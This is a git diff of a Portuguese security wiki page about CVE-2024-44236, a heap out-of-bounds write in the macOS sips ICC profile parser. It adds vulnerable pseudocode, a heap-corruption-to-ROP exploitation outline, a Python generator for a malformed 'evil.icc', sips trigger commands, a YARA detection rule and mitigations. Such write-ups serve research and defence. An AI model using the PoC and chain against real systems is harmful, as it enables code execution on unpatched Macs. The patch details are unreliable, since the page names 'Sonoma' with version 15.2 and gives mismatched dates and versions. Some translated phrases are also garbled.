diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index cc5cf5604..ce9ec0571 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -4,50 +4,94 @@ ## Visão Geral -Uma vulnerabilidade de escrita fora dos limites no parser de perfil ICC do Apple macOS Scriptable Image Processing System (`sips`) (macOS 15.0.1, sips-307) devido à validação inadequada do campo `offsetToCLUT` nos tags `lutAToBType` (`mAB `) e `lutBToAType` (`mBA `). Um arquivo ICC elaborado pode acionar gravações zero até 16 bytes além do buffer da pilha, corrompendo metadados da pilha ou ponteiros de função e permitindo a execução de código arbitrário (CVE-2024-44236). +Uma vulnerabilidade de **zero-write** fora dos limites no parser de perfil ICC do **Scriptable Image Processing System** (`sips`) do Apple macOS (macOS 15.0.1, `sips-307`) permite que um atacante corrompa os metadados do heap e mude o primitivo para execução de código completo. O bug está localizado no manuseio do campo `offsetToCLUT` das tags `lutAToBType` (`mAB `) e `lutBToAType` (`mBA `). Se os atacantes definirem `offsetToCLUT == tagDataSize`, o parser apaga **16 bytes além do final do buffer do heap**. O heap spraying permite que o atacante zere estruturas de alocador ou ponteiros C++ que serão posteriormente desreferenciados, resultando em uma cadeia de **arbitrary-write-to-exec** (CVE-2024-44236, CVSS 7.8). + +> A Apple corrigiu o bug no macOS Sonoma 15.2 / Ventura 14.7.1 (30 de outubro de 2024). Uma segunda variante (CVE-2025-24185) foi corrigida no macOS 15.5 e iOS/iPadOS 18.5 em 1º de abril de 2025. ## Código Vulnerável - -A função vulnerável lê e zera 16 bytes a partir de um deslocamento controlado pelo atacante sem garantir que esteja dentro do buffer alocado: ```c -// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1) -for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) { -if (i > numberOfInputChannels && buffer[i] != 0) -buffer[i] = 0; +// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1) +if (offsetToCLUT <= tagDataSize) { +// BAD ➜ zero 16 bytes starting *at* offsetToCLUT +for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++) +buffer[i] = 0; // no bounds check vs allocated size! } ``` -Apenas uma verificação `offsetToCLUT <= totalDataLength` é realizada. Ao definir `offsetToCLUT == tagDataSize`, o loop indexa até 16 bytes além do final de `buffer`, corrompendo os metadados adjacentes do heap. +## Exploitation Steps -## Etapas de Exploração +1. **Crie um perfil `.icc` malicioso** -1. **Criar perfil `.icc` malicioso:** -- Construa o cabeçalho ICC (128 bytes) com a assinatura `acsp` e uma única entrada de tag `lutAToBType` ou `lutBToAType`. -- Na tabela de tags, defina `offsetToCLUT` igual ao `size` da tag (`tagDataSize`). -- Coloque dados controlados pelo atacante imediatamente após o bloco de dados da tag para sobrescrever os metadados do heap. -2. **Acionar a análise:** +* Configure um cabeçalho ICC mínimo (`acsp`) e adicione uma tag `mAB ` (ou `mBA `). +* Configure a tabela de tags para que o **`offsetToCLUT` seja igual ao tamanho da tag** (`tagDataSize`). +* Coloque dados controlados pelo atacante logo após a tag, de modo que as 16 gravações de zero sobreponham os metadados do alocador. + +2. **Acione a análise com qualquer operação sips que toque o perfil** ```bash -sips --verifyColor malicious.icc +# caminho de verificação (sem arquivo de saída necessário) +sips --verifyColor evil.icc +# ou implicitamente ao converter imagens que incorporam o perfil +sips -s format png payload.jpg --out out.png ``` -3. **Corrompimento de metadados do heap:** As gravações zero fora da faixa sobrescrevem os metadados do alocador ou ponteiros adjacentes, permitindo que o atacante se aproprie do fluxo de controle e consiga execução arbitrária de código no contexto do processo `sips`. +3. **Corrupção de metadados do heap ➜ gravação arbitrária ➜ ROP** +No alocador **`nano_zone`** padrão da Apple, os metadados para slots de 16 bytes vivem **imediatamente após** a laje alinhada de 0x1000. Ao colocar a tag do perfil no final de tal laje, as 16 gravações de zero corrompem `meta->slot_B`. Após um `free` subsequente, o ponteiro envenenado é enfileirado na lista de livres pequenos, permitindo que o atacante **aloque um objeto falso em um endereço arbitrário** e sobrescreva um ponteiro de vtable C++ usado pelo sips, finalmente mudando a execução para uma cadeia ROP armazenada no buffer ICC malicioso. +### Gerador de PoC rápido (Python 3) +```python +#!/usr/bin/env python3 +import struct, sys + +HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding) +TAGS = [(b'mAB ', 132, 52)] # one tag directly after header +profile = HDR +profile += struct.pack('>I', len(TAGS)) # tag count +profile += b''.join(struct.pack('>4sII', *t) for t in TAGS) + +mab = bytearray(52) # tag payload (52 bytes) +struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start) +profile += mab + +open('evil.icc', 'wb').write(profile) +print('[+] Wrote evil.icc (%d bytes)' % len(profile)) +``` +### Regra de detecção YARA +```yara +rule ICC_mAB_offsetToCLUT_anomaly +{ +meta: +description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)" +author = "HackTricks" +strings: +$magic = { 61 63 73 70 } // 'acsp' +$mab = { 6D 41 42 20 } // 'mAB ' +$mba = { 6D 42 41 20 } // 'mBA ' +condition: +$magic at 0 and +for any i in (0 .. 10): // up to 10 tags +( +($mab at 132 + 12*i or $mba at 132 + 12*i) and +uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size +) +} +``` ## Impacto -A exploração bem-sucedida resulta em execução remota de código arbitrário com privilégios de usuário em sistemas macOS que executam o utilitário `sips` vulnerável. +Abrir ou processar um perfil ICC elaborado leva à **execução remota de código arbitrário** no contexto do usuário que o invocou (Preview, QuickLook, renderização de imagens no Safari, anexos de e-mail, etc.), contornando o Gatekeeper porque o perfil pode ser incorporado dentro de imagens benignas (PNG/JPEG/TIFF). -## Detecção +## Detecção e Mitigação -- Monitore transferências de arquivos em protocolos comuns (FTP, HTTP/S, IMAP, SMB, NFS, SMTP). -- Inspecione arquivos transferidos com a assinatura `acsp`. -- Para cada tag `mAB ` ou `mBA `, verifique se o campo `Offset to CLUT` é igual ao `Tag data size`. -- Marque como suspeito se essa condição for atendida. +* **Atualize!** Certifique-se de que o host está executando macOS ≥ 15.2 / 14.7.1 (ou iOS/iPadOS ≥ 18.1). +* Implemente a regra YARA acima em gateways de e-mail e soluções EDR. +* Remova ou sane os perfis ICC incorporados com `exiftool -icc_profile= -overwrite_original ` antes de processar arquivos não confiáveis. +* Reforce o Preview/QuickLook executando-os dentro de VMs "transparência e modernização" isoladas ao analisar conteúdo desconhecido. +* Para DFIR, procure por execuções recentes de `sips --verifyColor` ou carregamentos da biblioteca `ColorSync` por aplicativos isolados no log unificado. ## Referências -- Blog da ZDI: CVE-2024-44236: Vulnerabilidade de Execução Remota de Código no Utilitário sips da Apple macOS -https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos -- Atualização de Segurança da Apple de Outubro de 2024 (patch enviando CVE-2024-44236) -https://support.apple.com/en-us/121564 +* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” +https://www.zerodayinitiative.com/advisories/ZDI-24-1445/ +* Atualizações de segurança da Apple HT213981 “Sobre o conteúdo de segurança do macOS Sonoma 15.2” +https://support.apple.com/en-us/HT213981 {{#include ../../banners/hacktricks-training.md}}